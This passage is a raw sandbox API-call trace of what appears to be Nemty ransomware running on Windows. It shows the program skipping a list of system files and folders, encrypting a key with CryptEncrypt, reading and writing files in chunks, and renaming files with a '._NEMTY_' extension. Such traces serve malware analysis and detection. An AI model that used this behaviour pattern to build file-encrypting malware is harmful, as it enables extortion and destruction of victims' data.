(lpString1="trad_s.png", lpString2="bootmgr") returned 1 [0123.055] lstrcmpiW (lpString1="trad_s.png", lpString2="programdata") returned 1 [0123.055] lstrcmpiW (lpString1="trad_s.png", lpString2="appdata") returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_s.png", lpUsedDefaultChar=0x0) returned 10 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_s.png", lpUsedDefaultChar=0x0) returned 10 [0123.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_s.png", lpUsedDefaultChar=0x0) returned 10 [0123.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_s.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_s.png", lpUsedDefaultChar=0x0) returned 10 [0123.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.055] Sleep (dwMilliseconds=0x5) [0123.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd000410, dwHighDateTime=0x1d561e7)) [0123.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfd000410, dwHighDateTime=0x1d561e7)) [0123.066] GetLastError () returned 0x5 [0123.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.066] GetLastError () returned 0x5 [0123.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0123.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0123.067] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0123.067] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="GUJ26ScZQHlwCfIvAlytnEsz9QiW6q5EDgQorh3ywPzhngHBCq5ZuQKIoP2BvxHZ\r\nnKyOeY/4IWFzVyHshvl4EiDc7njS7Upzt9Fg2c+VdRRgirP7zQAQDDtRSPmNG6dR\r\nxsVEg3relVN8mEz0eH/taeQfKFF77RYYEvrBQB1cnnBEEPn2E/wSvs6/oYIYNKxu\r\nN76/WhsSUVEKFE5UuEhb3Yt2qancvm2Kys5qwhaPkGbVcL1JoUVHN/cp1BQYRsNN\r\nOdmNMBIQfvH130HMkNlvKBvj5vYy4S8bBXBE8SBO08tVUgvAo5Hy6qX22+9/nB8i\r\nZ8jVoVwNYxef+aDvTm1/zQ==\r\n", pcchString=0x653e91c) returned 1 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.067] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.067] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0123.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.172] CloseHandle (hObject=0xffffffff) returned 0 [0123.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0123.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0123.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png._nemty_kgobjgd_")) returned 0 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0123.173] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2=".") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="..") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="...") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="windows") returned -1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="rsa") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="NTDETECT.COM") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="ntldr") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="MSDOS.SYS") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="IO.SYS") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="boot.ini") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="boot.ini") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="ntuser.dat") returned 1 [0123.173] lstrcmpiW (lpString1="trad_settings.png", lpString2="desktop.ini") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="CONFIG.SYS") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="RECYCLER") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="bootmgr") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="programdata") returned 1 [0123.174] lstrcmpiW (lpString1="trad_settings.png", lpString2="appdata") returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_settings.png", lpUsedDefaultChar=0x0) returned 17 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_settings.png", lpUsedDefaultChar=0x0) returned 17 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_settings.png", lpUsedDefaultChar=0x0) returned 17 [0123.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0123.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_settings.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0123.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.174] 